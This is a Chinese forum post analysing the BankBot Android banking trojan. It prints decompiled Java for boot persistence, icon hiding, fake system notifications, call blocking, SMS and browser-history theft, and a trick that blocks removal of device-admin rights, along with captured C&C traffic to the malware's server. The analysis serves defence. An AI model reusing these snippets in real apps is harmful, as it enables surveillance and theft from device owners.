本帖最后由 henices 于 2016-2-26 17:52 编辑
0x00 样本概况
字段 | 内容 | 样本名 | BankBot | MD5 | 3c42c391bec405bb28b28195c2961778 | SHA256 | 93b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94 | 文件类型 | APK |
这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后 会以Android系统更新的形式,诱导用户激活设备管理器达到常驻系统的目的。
0x01 行为分析
开机自启动
[XML] 纯文本查看 复制代码 <receiver android:name="com.android.market.Autorun">
<intent-filter android:priority="999">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
<intent-filter android:priority="1000">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>
Autorun
[Java] 纯文本查看 复制代码 package com.android.market;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public final class Autorun extends BroadcastReceiver {
public Autorun() {
super();
}
public void onReceive(Context context, Intent intent) {
Intent v0 = new Intent(context, Scheduler.class);
v0.setFlags(0x10000000);
context.startService(v0);
}
}
开机将启动 Schedule 服务
Schedule 服务
[Java] 纯文本查看 复制代码 public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);
Utils.registerIfNeeded(((Context)this));
Object v0 = this.getSystemService("alarm");
PendingIntent v6 = PendingIntent.getBroadcast(((Context)this), 0, new Intent(((Context)this),
NetworkController.class), 0);
int v7 = FileController.fileExists(((Context)this), "interval") ? Integer.parseInt(FileController
.readFile(((Context)this), "interval")) : 0xA;
((AlarmManager)v0).setRepeating(0, System.currentTimeMillis() + 0x2710, ((long)(v7 * 0x3E8)),
v6);
this.handleCrashes();
return 1;
}
Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。 时间间隔由配置文件interval决定。定时和C&C服务器进行通讯。
com.android.market.FileController
[Java] 纯文本查看 复制代码
static final boolean fileExists(Context context, String filename) {
return new File(context.getFilesDir(), filename).exists();
}
隐藏App 图标
[Java] 纯文本查看 复制代码 static final void hideApp(Context context, boolean hide) {
ComponentName v0 = new ComponentName(context.getPackageName(), String.valueOf(context.getPackageName())
+ ".MainActivity");
PackageManager v3 = context.getPackageManager();
int v1 = hide ? 2 : 1;
v3.setComponentEnabledSetting(v0, v1, 1);
}
伪造的系统Notification
[Java] 纯文本查看 复制代码 public void onCreate() {
super.onCreate();
new AppCrash().Register(((Context)this));
Notification v3 = new Notification(0x108008A, "Android system requires user action", System.
currentTimeMillis());
Intent v1 = new Intent(this.getApplicationContext(), AdminX.class);
v1.setAction("android.intent.action.VIEW");
v1.setFlags(0x34000000);
v3.setLatestEventInfo(this.getBaseContext(), "Android", "Android system requires action", PendingIntent
.getActivity(((Context)this), 0, v1, 0x8000000));
v3.flags |= 0x62;
this.startForeground(2, v3);
new Helper(this).execute(new Void[0]);
}
禁用屏幕锁定
[Java] 纯文本查看 复制代码 AdminX.this.getSystemService("keyguard").newKeyguardLock("ANDROID").disableKeyguard();
禁止拨打指定号码电话
[Java] 纯文本查看 复制代码 public void onReceive(Context context, Intent intent) {
String[] v8;
String action = intent.getAction();
String v6 = intent.getStringExtra("state");
String v3 = intent.getStringExtra("incoming_number");
String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
String v1 = "8005555550; 4955005550;";
String v10 = "8005555550; 4955005550;";
String v11 = "";
int v9 = 0;
if(action.equals("android.intent.action.NEW_OUTGOING_CALL")) {
String v4 = v5.replace("+", "").replace("#", "d").replace("*", "s").replace(" ", "").replace(
"-", "");
if(v1 != null) {
v8 = v1.replace(" ", "").split(";");
if(v8.length > 0) {
int v13;
for(v13 = 0; v13 < v8.length; ++v13) {
if(v4.contains(v8[v13])) {
v9 = 1;
v11 = String.valueOf(v11) + "blocked outgoing call";
this.setResultData(null);
}
}
}
}
if(v9 == 0) {
v11 = String.valueOf(v11) + "outgoing call";
}
new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v4,
v11) + "]"});
}
...
}
通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:
8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。
禁止接听指定号码电话
[Java] 纯文本查看 复制代码 String v10 = "8005555550; 4955005550;";
if((action.equals("android.intent.action.PHONE_STATE")) && (v6.equals("RINGING"))) {
String v2 = v3 != null ? v3.replace("+", "").replace("#", "d").replace("*", "s").replace(
" ", "").replace("-", "") : "Unknown";
if(v10 != null) {
v8 = v10.replace(" ", "").split(";");
for(v13 = 0; v13 < v8.length; ++v13) {
if(v2.contains(v8[v13])) {
v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}
}
if(!v2.contains("Unknown")) {
goto label_106;
}
v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}
label_106:
if(v9 == 0) {
v11 = "incoming call";
}
new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v2,
v11) + "]"});
}
获取短信记录
[Java] 纯文本查看 复制代码 private StringBuilder getSmsLog() {
StringBuilder v10 = new StringBuilder("[");
Cursor v8 = this.context.getContentResolver().query(Uri.parse("content://ABC".replace("A",
"s").replace("B", "m").replace("C", "s")), null, null, null, null);
if((v8.moveToFirst()) && v8.getCount() > 0) {
while(!v8.isAfterLast()) {
v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}",
JSONObject.quote(v8.getString(v8.getColumnIndex("address"))), JSONObject
.quote(v8.getString(v8.getColumnIndex("body"))), JSONObject.quote(v8.getString(
v8.getColumnIndex("date")))));
if(!v8.isLast()) {
v10.append(",");
}
v8.moveToNext();
}
v8.close();
}
return v10.append("]");
}
浏览器书签
[Java] 纯文本查看 复制代码 private StringBuilder getHistory(Uri historyUri) {
StringBuilder v8 = new StringBuilder("[");
Cursor v6 = this.context.getContentResolver().query(historyUri, new String[]{"title", "url",
"date"}, "bookmark = 0", null, null);
if((v6.moveToFirst()) && v6.getCount() > 0) {
while(!v6.isAfterLast()) {
v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}", JSONObject
.quote(v6.getString(v6.getColumnIndex("title"))), JSONObject.quote(v6.getString(
v6.getColumnIndex("url"))), JSONObject.quote(v6.getString(v6.getColumnIndex(
"date")))));
if(!v6.isLast()) {
v8.append(",");
}
v6.moveToNext();
}
v6.close();
}
return v8.append("]");
}
骗取信用卡信息
当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。
高级技术
不断重启的Servcie
com.android.smali3
[Java] 纯文本查看 复制代码 public void onDestroy() {
super.onDestroy();
this.startService(new Intent(this.getApplicationContext(), smali3.class));
}
服务被停止,立即重启,无法停止。
防止卸载
Bankbot 申请 Device Admin 权限,无法被正常卸载。
> adb shell pm uninstall com.android.market
Failure
禁止删除 Device Admin 权限
这个一个非常流氓的做法,具体的做法是如下面的代码:
[Java] 纯文本查看 复制代码 public class AdRec extends DeviceAdminReceiver {
public AdRec() {
super();
}
public CharSequence onDisableRequested(Context context, Intent intent) {
new AppCrash().Register(context);
if(Build$VERSION.SDK_INT <= 0xA) {
Intent v2 = new Intent("android.settings.SETTINGS");
v2.setFlags(0x50000000);
context.startActivity(v2);
Intent v4 = new Intent("android.intent.action.MAIN");
v4.addCategory("android.intent.category.HOME");
v4.setFlags(0x10000000);
context.startActivity(v4);
return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}
context.startService(new Intent(context, ASec.class));
long v6 = 0x7D0;
try {
Thread.sleep(v6);
}
catch(InterruptedException v3) {
v3.printStackTrace();
}
return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}
...
}
重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户 无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。
这里出过几个问题,
- Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
- 就是现在代码中所用到这个,目前在所有的Android 版本中存在。
界面劫持
通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实 是设备管理器的激活按钮。
0x02 C&C 协议分析
Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中 可以得到json字段的信息。
[Java] 纯文本查看 复制代码 private static final String FIELD_ACTION = "action";
private static final String FIELD_CALL_LOG = "call_log";
private static final String FIELD_DATA = "data";
private static final String FIELD_HISTORY = "browser_history";
private static final String FIELD_ID = "id";
private static final String FIELD_IMEI = "imei";
private static final String FIELD_INTERCEPT = "intercept";
private static final String FIELD_MAYHEM = "mayhem";
private static final String FIELD_MESSAGE = "prefix_1";
private static final String FIELD_NEW_SERVER = "server";
private static final String FIELD_NUMBER_SEND_TO = "number_1";
private static final String FIELD_OPERATOR = "op";
private static final String FIELD_PHONE = "phone";
private static final String FIELD_POLL_INTERVAL = "server_poll";
private static final String FIELD_PREFIX = "prefix";
private static final String FIELD_REPORT_CALLS = "calls";
private static final String FIELD_SMS_HISTORY = "sms_history";
private static final String FIELD_SPAM = "text_2";
private static final String FIELD_STATUS = "status";
private static final String FIELD_URL_TO_SHOW = "url";
private static final String FIELD_VERSION = "version";
请求注册
返回报文
401
注册报文
[Diff] 纯文本查看 复制代码
POST /p/gate.php HTTP/1.1
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive
action=reg&imei=098767899076562&phone=15802920457&op=Android&version=4.4.4%2C3.4.0-gd853d22&prefix=12Jhw21
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31
3
200
0
获取命令
[Diff] 纯文本查看 复制代码 POST /p/gate.php HTTP/1.1
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive
action=poll&imei=098767899076562
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31
0
返回的命令为json 格式,主要的指令有下面几个,
指令 | 含义 | 401 | 要求 bot 注册 | call_log | 获取电话记录, 发送到C&C server | sms_history | 获取短信内容,发送到C&C server | browser_history | 获取浏览器书签,发送到C&C server | url | 访问url 链接 | server | 更换C&C server | intercept | | server_poll | 更新从服务器获取命令的时间间隔 | mayhem | | calls | |
监视服务了大半天,没有收到有效指令,看来不是特别活跃。
清除
这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈 不让我们取消设备管理器,估计只有root的机器会好处理一些。
总结
BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓, 很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良 后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量 会越来越多。
|